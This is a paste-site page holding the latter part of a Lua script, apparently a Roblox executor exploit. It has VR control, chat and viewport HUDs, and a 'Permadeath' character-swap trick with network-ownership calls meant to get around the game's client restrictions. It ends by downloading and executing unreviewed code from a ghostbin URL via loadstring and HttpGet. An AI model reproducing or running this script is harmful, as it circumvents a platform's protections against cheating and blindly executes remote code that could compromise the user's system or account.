  742. if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then
  743. Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {
  744. WalkSpeed = 24
  745. })
  746. end
  747. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then
  748. Point1 = true
  749. end
  750. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then
  751. Point2 = true
  752. end
  753. if VRReady and Input.KeyCode == Enum.KeyCode.ButtonY then
  754. Character:BreakJoints()
  755. if RagdollEnabled and RagdollHeadMovement then
  756. Network:Unclaim()
  757. Respawn()
  758. end
  759. end
  760. end)
  761. local OnInputEnded = UserInputService.InputEnded:Connect(function(Input, Processed)
  762. if not Processed then
  763. if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then
  764. Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {
  765. CameraOffset = Vector3.new(0, StudsOffset, 0)
  766. })
  767. end
  768. end
  769. if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then
  770. Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {
  771. WalkSpeed = 8
  772. })
  773. end
  774. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then
  775. Point1 = false
  776. end
  777. if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then
  778. Point2 = false
  779. end
  780. end)
  781. --[[
  782.  Proper Cleanup
  783. --]]
  784. local OnReset
  785. OnReset = Client.CharacterAdded:Connect(function()
  786. OnReset:Disconnect();
  787. CFrameChanged:Disconnect();
  788. OnStepped:Disconnect();
  789. OnRenderStepped:Disconnect();
  790. OnMoving:Disconnect();
  791. OnInput:Disconnect();
  792. OnInputEnded:Disconnect();
  793. VirtualRig:Destroy();
  794. VirtualBody:Destroy();
  795. if RagdollEnabled then
  796. Network:Unclaim();
  797. end
  798. if AutoRun then
  799. delay(2, function()
  800. Script()
  801. end)
  802. end
  803. end)
  804. if ChatEnabled then
  805. spawn(ChatHUDFunc)
  806. end
  807. if ViewportEnabled then
  808. spawn(ViewHUDFunc)
  809. end
  810. do
  811. --[[
  812.  Functions
  813.  --]]
  814. local Players = game:GetService("Players")
  815. local Client = Players.LocalPlayer
  816. local VRService = game:GetService("VRService")
  817. local VRReady = VRService.VREnabled
  818. local UserInputService = game:GetService("UserInputService")
  819. local RunService = game:GetService("RunService")
  820. local Camera = workspace.CurrentCamera
  821. --[[
  822.  Code
  823.  --]]
  824. if VRReady then
  825. local Pointer = game:GetObjects("rbxassetid://4476173280")[1]
  826. Pointer.Parent = workspace
  827. Pointer.Beam.Enabled = false
  828. Pointer.Target.ParticleEmitter.Enabled = false
  829. local RenderStepped = RunService.RenderStepped:Connect(function()
  830. if Pointer.Beam.Enabled then
  831. local RightHand = Camera.CFrame * VRService:GetUserCFrame(Enum.UserCFrame.RightHand)
  832. local Target = RightHand * CFrame.new(0, 0, -10)
  833. local Line = Ray.new(RightHand.p, (Target.p - RightHand.p).Unit * 128)
  834. local Part, Position = workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character, Pointer})
  835. local Distance = (Position - RightHand.p).Magnitude
  836. Pointer.Target.Position = Vector3.new(0, 0, -Distance)
  837. Pointer.CFrame = RightHand
  838. end
  839. end)
  840. local Input = UserInputService.InputBegan:Connect(function(Input)
  841. if Input.KeyCode == Enum.KeyCode.ButtonB then
  842. Pointer.Beam.Enabled = not Pointer.Beam.Enabled
  843. Pointer.Target.ParticleEmitter.Enabled = not Pointer.Target.ParticleEmitter.Enabled
  844. end
  845. end)
  846. --
  847. local CharacterAdded
  848. CharacterAdded = Client.CharacterAdded:Connect(function()
  849. RenderStepped:Disconnect()
  850. Input:Disconnect()
  851. CharacterAdded:Disconnect()
  852. Pointer:Destroy()
  853. Pointer = nil
  854. end)
  855. else
  856. return
  857. end
  858. end
  859. end;
  860. Permadeath = function()
  861. local ch = game.Players.LocalPlayer.Character
  862. local prt=Instance.new("Model", workspace)
  863. local z1 = Instance.new("Part", prt)
  864. z1.Name="Torso"
  865. z1.CanCollide = false
  866. z1.Anchored = true
  867. local z2 =Instance.new("Part", prt)
  868. z2.Name="Head"
  869. z2.Anchored = true
  870. z2.CanCollide = false
  871. local z3 =Instance.new("Humanoid", prt)
  872. z3.Name="Humanoid"
  873. z1.Position = Vector3.new(0,9999,0)
  874. z2.Position = Vector3.new(0,9991,0)
  875. game.Players.LocalPlayer.Character=prt
  876. wait(5)
  877. warn("50%")
  878. game.Players.LocalPlayer.Character=ch
  879. wait(6)
  880. warn("100%")
  881. end;
  882. Respawn = function()
  883. local ch = game.Players.LocalPlayer.Character
  884. local prt=Instance.new("Model", workspace)
  885. local z1 = Instance.new("Part", prt)
  886. z1.Name="Torso"
  887. z1.CanCollide = false
  888. z1.Anchored = true
  889. local z2 =Instance.new("Part", prt)
  890. z2.Name="Head"
  891. z2.Anchored = true
  892. z2.CanCollide = false
  893. local z3 =Instance.new("Humanoid", prt)
  894. z3.Name="Humanoid"
  895. z1.Position = Vector3.new(0,9999,0)
  896. z2.Position = Vector3.new(0,9991,0)
  897. game.Players.LocalPlayer.Character=prt
  898. wait(5)
  899. game.Players.LocalPlayer.Character=ch
  900. end;
  901. ChatHUDFunc = function()
  902. --[[
  903.  Variables
  904.  --]]
  905. local UserInputService = game:GetService("UserInputService")
  906. local RunService = game:GetService("RunService")
  907. local VRService = game:GetService("VRService")
  908. local VRReady = VRService.VREnabled
  909. local Players = game:GetService("Players")
  910. local Client = Players.LocalPlayer
  911. local ChatHUD = game:GetObjects("rbxassetid://4476067885")[1]
  912. local GlobalFrame = ChatHUD.GlobalFrame
  913. local Template = GlobalFrame.Template
  914. local LocalFrame = ChatHUD.LocalFrame
  915. local Global = ChatHUD.Global
  916. local Local = ChatHUD.Local
  917. local Camera = workspace.CurrentCamera
  918. Template.Parent = nil
  919. ChatHUD.Parent = game:GetService("CoreGui")
  920. --[[
  921.  Code
  922.  --]]
  923. local Highlight = Global.Frame.BackgroundColor3
  924. local Deselected = Local.Frame.BackgroundColor3
  925. local OpenGlobalTab = function()
  926. Global.Frame.BackgroundColor3 = Highlight
  927. Local.Frame.BackgroundColor3 = Deselected
  928. Global.Font = Enum.Font.SourceSansBold
  929. Local.Font = Enum.Font.SourceSans
  930. GlobalFrame.Visible = true
  931. LocalFrame.Visible = false
  932. end
  933. local OpenLocalTab = function()
  934. Global.Frame.BackgroundColor3 = Deselected
  935. Local.Frame.BackgroundColor3 = Highlight
  936. Global.Font = Enum.Font.SourceSans
  937. Local.Font = Enum.Font.SourceSansBold
  938. GlobalFrame.Visible = false
  939. LocalFrame.Visible = true
  940. end
  941. Global.MouseButton1Down:Connect(OpenGlobalTab)
  942. Local.MouseButton1Down:Connect(OpenLocalTab)
  943. Global.MouseButton1Click:Connect(OpenGlobalTab)
  944. Local.MouseButton1Click:Connect(OpenLocalTab)
  945. OpenLocalTab()
  946. --
  947. local function GetPlayerDistance(Sender)
  948. if Sender.Character and Sender.Character:FindFirstChild("Head") then
  949. return math.floor((Sender.Character.Head.Position - Camera:GetRenderCFrame().p).Magnitude + 0.5)
  950. end
  951. end
  952. local function NewGlobal(Message, Sender, Color)
  953. local Frame = Template:Clone()
  954. Frame.Text = ("[%s]: %s"):format(Sender.Name, Message)
  955. Frame.User.Text = ("[%s]:"):format(Sender.Name)
  956. Frame.User.TextColor3 = Color
  957. Frame.BackgroundColor3 = Color
  958. Frame.Parent = GlobalFrame
  959. delay(60, function()
  960. Frame:Destroy()
  961. end)
  962. end
  963. local function NewLocal(Message, Sender, Color, Dist)
  964. local Frame = Template:Clone()
  965. Frame.Text = ("(%s) [%s]: %s"):format(tostring(Dist), Sender.Name, Message)
  966. Frame.User.Text = ("(%s) [%s]:"):format(tostring(Dist), Sender.Name)
  967. Frame.User.TextColor3 = Color
  968. Frame.BackgroundColor3 = Color
  969. Frame.Parent = LocalFrame
  970. delay(60, function()
  971. Frame:Destroy()
  972. end)
  973. end
  974. local function OnNewChat(Message, Sender, Color)
  975. if not ChatHUD or not ChatHUD.Parent then return end
  976. NewGlobal(Message, Sender, Color)
  977. local Distance = GetPlayerDistance(Sender)
  978. if Distance and Distance <= ChatLocalRange then
  979. NewLocal(Message, Sender, Color, Distance)
  980. end
  981. end
  982. local function OnPlayerAdded(Player)
  983. if not ChatHUD or not ChatHUD.Parent then return end
  984. local Color = BrickColor.Random().Color
  985. Player.Chatted:Connect(function(Message)
  986. OnNewChat(Message, Player, Color)
  987. end)
  988. end
  989. Players.PlayerAdded:Connect(OnPlayerAdded)
  990. for _, Player in pairs(Players:GetPlayers()) do
  991. OnPlayerAdded(Player)
  992. end
  993. --
  994. local ChatPart = ChatHUD.Part
  995. ChatHUD.Adornee = ChatPart
  996. if VRReady then
  997. ChatHUD.Parent = game:GetService("CoreGui")
  998. ChatHUD.Enabled = true
  999. ChatHUD.AlwaysOnTop = true
  1000. local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)
  1001. if not Processed then
  1002. if Input.KeyCode == Enum.KeyCode.ButtonX then
  1003. ChatHUD.Enabled = not ChatHUD.Enabled
  1004. end
  1005. end
  1006. end)
  1007. local RenderStepped = RunService.RenderStepped:Connect(function()
  1008. local LeftHand = VRService:GetUserCFrame(Enum.UserCFrame.LeftHand)
  1009. ChatPart.CFrame = Camera.CFrame * LeftHand
  1010. end)
  1011. local CharacterAdded
  1012. CharacterAdded = Client.CharacterAdded:Connect(function()
  1013. OnInput:Disconnect()
  1014. RenderStepped:Disconnect()
  1015. CharacterAdded:Disconnect()
  1016. ChatHUD:Destroy()
  1017. ChatHUD = nil
  1018. end)
  1019. end
  1020. wait(9e9)
  1021. end;
  1022. ViewHUDFunc = function()
  1023. --[[
  1024.  Variables
  1025.  --]]
  1026. local ViewportRange = ViewportRange or 32
  1027. local UserInputService = game:GetService("UserInputService")
  1028. local RunService = game:GetService("RunService")
  1029. local VRService = game:GetService("VRService")
  1030. local VRReady = VRService.VREnabled
  1031. local Players = game:GetService("Players")
  1032. local Client = Players.LocalPlayer
  1033. local Mouse = Client:GetMouse()
  1034. local Camera = workspace.CurrentCamera
  1035. local CameraPort = Camera.CFrame
  1036. local ViewHUD = script:FindFirstChild("ViewHUD") or game:GetObjects("rbxassetid://4480405425")[1]
  1037. local Viewport = ViewHUD.Viewport
  1038. local Viewcam = Instance.new("Camera")
  1039. local ViewPart = ViewHUD.Part
  1040. ViewHUD.Parent = game:GetService("CoreGui")
  1041. Viewcam.Parent = Viewport
  1042. Viewcam.CameraType = Enum.CameraType.Scriptable
  1043. Viewport.CurrentCamera = Viewcam
  1044. Viewport.BackgroundTransparency = 1
  1045. --[[
  1046.  Code
  1047.  --]]
  1048. local function Clone(Character)
  1049. local Arc = Character.Archivable
  1050. local Clone;
  1051. Character.Archivable = true
  1052. Clone = Character:Clone()
  1053. Character.Archivable = Arc
  1054. return Clone
  1055. end
  1056. local function GetPart(Name, Parent, Descendants)
  1057. for i = 1, #Descendants do
  1058. local Part = Descendants[i]
  1059. if Part.Name == Name and Part.Parent.Name == Parent then
  1060. return Part
  1061. end
  1062. end
  1063. end
  1064. local function OnPlayerAdded(Player)
  1065. if not ViewHUD or not ViewHUD.Parent then return end
  1066. local function CharacterAdded(Character)
  1067. if not ViewHUD or not ViewHUD.Parent then return end
  1068. Character:WaitForChild("Head")
  1069. Character:WaitForChild("Humanoid")
  1070. wait(3)
  1071. local FakeChar = Clone(Character)
  1072. local Root = FakeChar:FindFirstChild("HumanoidRootPart") or FakeChar:FindFirstChild("Head")
  1073. local RenderConnection;
  1074. local Descendants = FakeChar:GetDescendants()
  1075. local RealDescendants = Character:GetDescendants()
  1076. local Correspondents = {};
  1077. FakeChar.Humanoid.DisplayDistanceType = "None"
  1078. for i = 1, #Descendants do
  1079. local Part = Descendants[i]
  1080. local Real = Part:IsA("BasePart") and GetPart(Part.Name, Part.Parent.Name, RealDescendants)
  1081. if Part:IsA("BasePart") and Real then
  1082. Part.Anchored = true
  1083. Part:BreakJoints()
  1084. if Part.Parent:IsA("Accessory") then
  1085. Part.Transparency = 0
  1086. end
  1087. table.insert(Correspondents, {Part, Real})
  1088. end
  1089. end
  1090. RenderConnection = RunService.RenderStepped:Connect(function()
  1091. if not Character or not Character.Parent then
  1092. RenderConnection:Disconnect()
  1093. FakeChar:Destroy()
  1094. return
  1095. end
  1096. if (Root and (Root.Position - Camera.CFrame.p).Magnitude <= ViewportRange) or Player == Client or not Root then
  1097. for i = 1, #Correspondents do
  1098. local Part, Real = unpack(Correspondents[i])
  1099. if Part and Real and Part.Parent and Real.Parent then
  1100. Part.CFrame = Real.CFrame
  1101. elseif Part.Parent and not Real.Parent then
  1102. Part:Destroy()
  1103. end
  1104. end
  1105. end
  1106. end)
  1107. FakeChar.Parent = Viewcam
  1108. end
  1109. Player.CharacterAdded:Connect(CharacterAdded)
  1110. if Player.Character then
  1111. spawn(function()
  1112. CharacterAdded(Player.Character)
  1113. end)
  1114. end
  1115. end
  1116. local PlayerAdded = Players.PlayerAdded:Connect(OnPlayerAdded)
  1117. for _, Player in pairs(Players:GetPlayers()) do
  1118. OnPlayerAdded(Player)
  1119. end
  1120. ViewPart.Size = Vector3.new()
  1121. if VRReady then
  1122. Viewport.Position = UDim2.new(.62, 0, .89, 0)
  1123. Viewport.Size = UDim2.new(.3, 0, .3, 0)
  1124. Viewport.AnchorPoint = Vector2.new(.5, 1)
  1125. else
  1126.  Viewport.Size = UDim2.new(0.3, 0, 0.3, 0)
  1127. end
  1128. local RenderStepped = RunService.RenderStepped:Connect(function()
  1129. local Render = Camera.CFrame
  1130. local Scale = Camera.ViewportSize
  1131. if VRReady then
  1132. Render = Render * VRService:GetUserCFrame(Enum.UserCFrame.Head)
  1133. end
  1134. CameraPort = CFrame.new(Render.p + Vector3.new(5, 2, 0), Render.p)
  1135. Viewport.Camera.CFrame = CameraPort
  1136. ViewPart.CFrame = Render * CFrame.new(0, 0, -16)
  1137. ViewHUD.Size = UDim2.new(0, Scale.X - 6, 0, Scale.Y - 6)
  1138. end)
  1139. --
  1140. local CharacterAdded
  1141. CharacterAdded = Client.CharacterAdded:Connect(function()
  1142. RenderStepped:Disconnect()
  1143. CharacterAdded:Disconnect()
  1144. PlayerAdded:Disconnect()
  1145. ViewHUD:Destroy()
  1146. ViewHUD = nil
  1147. end)
  1148. wait(9e9)
  1149. end;
  1150. Script()
  1151. wait(2)
  1152. local Players = game:GetService("Players")
  1153. local lp = Players.LocalPlayer
  1154. local character = lp.Character
  1155. local A0LL = Instance.new("Attachment", character["Left Leg"])
  1156. A0LL.Position = Vector3.new(0, 1, 0)
  1157. local A1LL = Instance.new("Attachment", character["Torso"])
  1158. A1LL.Position = Vector3.new(-0.5, -1, 0)
  1159. local socket1 = Instance.new("BallSocketConstraint", character["Left Leg"])
  1160. socket1.Attachment0 = A0LL
  1161. socket1.Attachment1 = A1LL
  1162. local A0RL = Instance.new("Attachment", character["Right Leg"])
  1163. A0RL.Position = Vector3.new(0, 1, 0)
  1164. local A1RL = Instance.new("Attachment", character["Torso"])
  1165. A1RL.Position = Vector3.new(0.5, -1, 0)
  1166. local socket2 = Instance.new("BallSocketConstraint", character["Right Leg"])
  1167. socket2.Attachment0 = A0RL
  1168. socket2.Attachment1 = A1RL
  1169. local A0H = Instance.new("Attachment", character["Head"])
  1170. A0H.Position = Vector3.new(0, -0.5, 0)
  1171. local A1H = Instance.new("Attachment", character["Torso"])
  1172. A1H.Position = Vector3.new(0, 1, 0)
  1173. local socket5 = Instance.new("BallSocketConstraint", character["Head"])
  1174. socket5.Attachment0 = A0H
  1175. socket5.Attachment1 = A1H
  1176. loadstring(game:HttpGet("https://ghostbin.co/paste/krmyf/raw",true))()
  1177. -----------------------------------------------------------
  1178. wait(9e9)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement